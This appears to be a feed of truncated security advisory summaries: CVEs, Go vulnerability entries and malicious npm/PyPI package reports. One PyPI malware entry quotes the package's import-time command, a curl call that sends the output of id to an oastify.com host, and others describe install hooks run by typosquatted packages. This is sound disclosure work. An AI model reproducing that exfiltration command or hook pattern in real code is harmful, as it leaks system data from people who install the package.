GHSA-78MQ-XCR3-XM33 golang.org/x/crypto is vulnerable to invoking server panic during CheckHostKey/Authenticate flow

SSH servers which use CertChecker as a public key callback without setting IsUserAuthority or IsHostAuthority could be caused to panic by a client presenting a certificate. CertChecker now returns an error instead of panicking when these callbacks are nil...

MAL-2026-6485 Malicious code in starship-timeline (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8a4e552337fa70064e0a04644ee5a64378809a85b281eda24707bc9a6eba473f [email protected] ships no real functionality. Its package.json declares a preinstall hook "preinstall": "node index.js" that runs automaticall...

CVE-2026-11703

The CVE-2026-11703 entry describes a vulnerability in stateful (session-ID) TLS resumption where missing SNI/ALPN binding allowed a cached session to be resumed under a different SNI/ALPN than originally negotiated. The root cause is the absence of binding checks for stateful resumption paths, wh...

CVE-2026-11703

Missing SNI/ALPN binding on stateful session-ID resumption, which previously skipped the binding check performed for ticket-based resumption. A cached session could be resumed under a different SNI/ALPN than originally negotiated and, where client-authentication policy differs across virtual host...

MAL-2026-6478 Malicious code in mi-test-99-tuapellido (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4b71b66c156e0a54b73b6dd2f2f9e994ac9c1ff9ab4d1f9689f1f930b3097f39 On every import, the package's top-level init.py runs os.system"curl http://6krddfbeqw0pisps3egdsofu9lfc33vrk.oastify.com -d $id". This unconditional...

Malicious code in textshape-css (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4e596e1ea1365aadfa6c75047b664bb41b29b60828595b9271d4c2c217476b60 The package presents itself as a Tailwind CSS typography plugin its name, description, and source tree clone @tailwindcss/typography, but src/index.j...

MAL-2026-6475 Malicious code in textshape-css (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4e596e1ea1365aadfa6c75047b664bb41b29b60828595b9271d4c2c217476b60 The package presents itself as a Tailwind CSS typography plugin its name, description, and source tree clone @tailwindcss/typography, but src/index.j...

CVE-2026-4930

SYMCRYPTO is the SiXG301's host side hardware engine accessed by PSA crypto library that accelerates symmetric cryptographic operations AES encryption/decryption and hashing. DPA Countermeasures on SYMCRYPTO can be weakened reduced entropy by forcing certain seed values if an attacker gains code...

CVE-2026-46611

Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.5, the Glances XML-RPC server glances -s, implemented in glances/server.py does not validate the HTTP Host header, leaving it vulnerable to DNS rebinding attacks. An attacker can exploit DNS rebinding to exfiltrate the...

GO-2026-5308 Arcane Has an Authenticated Arbitrary Host File Read via Docker Compose Include Directives in github.com/getarcaneapp/arcane/backend

Arcane Has an Authenticated Arbitrary Host File Read via Docker Compose Include Directives in github.com/getarcaneapp/arcane/backend...

GO-2026-5390 MCP Gateway: Authority-injection and JWT/session bypass via the unauthenticated router hair-pin "router-key" / "mcp-init-host" path in github.com/Kuadrant/mcp-gateway

MCP Gateway: Authority-injection and JWT/session bypass via the unauthenticated router hair-pin "router-key" / "mcp-init-host" path in github.com/Kuadrant/mcp-gateway...

GO-2026-5367 Daytona: Path traversal in sandbox volume id mounts arbitrary host paths into the sandbox — cross-tenant data access and host escape in github.com/daytonaio/daytona

Daytona: Path traversal in sandbox volume id mounts arbitrary host paths into the sandbox — cross-tenant data access and host escape in github.com/daytonaio/daytona...

Improper Authentication

Overview Affected versions of this package are vulnerable to Improper Authentication via the unauthenticated router-key and mcp-init-host paths. An attacker can gain unauthorized access or bypass authentication controls by sending crafted requests to these endpoints. Remediation Upgrade...

GO-2026-5344 Boxlite: Path Traversal Vulnerability Leads to Arbitrary File Write on the Host in github.com/boxlite-ai/boxlite/sdks/go

Boxlite: Path Traversal Vulnerability Leads to Arbitrary File Write on the Host in github.com/boxlite-ai/boxlite/sdks/go...

GO-2026-5200 Heimdall: Case-sensitive host matching may lead to policy bypass in github.com/dadrus/heimdall

Heimdall: Case-sensitive host matching may lead to policy bypass in github.com/dadrus/heimdall...

GO-2026-5224 Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect in github.com/microsoft/kiota-http-go

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect in github.com/microsoft/kiota-http-go...

GO-2026-5223 nebula-mesh: Host advanced overrides allow YAML injection into agent config.yml in github.com/juev/nebula-mesh

nebula-mesh: Host advanced overrides allow YAML injection into agent config.yml in github.com/juev/nebula-mesh...

GO-2026-5203 zrok: WebDAV drive backend follows symlinks outside DriveRoot, enabling host filesystem read/write in github.com/openziti/zrok

zrok: WebDAV drive backend follows symlinks outside DriveRoot, enabling host filesystem read/write in github.com/openziti/zrok...

GO-2026-5125 Heimdall: Forwarded Header Injection via Unsanitized Host Header in Proxy Mode in github.com/dadrus/heimdall

Heimdall: Forwarded Header Injection via Unsanitized Host Header in Proxy Mode in github.com/dadrus/heimdall...

GO-2026-5072 Argo has incomplete fix for CVE-2026-31892: hostNetwork, securityContext, serviceAccountName bypass templateReferencing Strict/Secure in github.com/argoproj/argo-workflows

Argo has incomplete fix for CVE-2026-31892: hostNetwork, securityContext, serviceAccountName bypass templateReferencing Strict/Secure in github.com/argoproj/argo-workflows...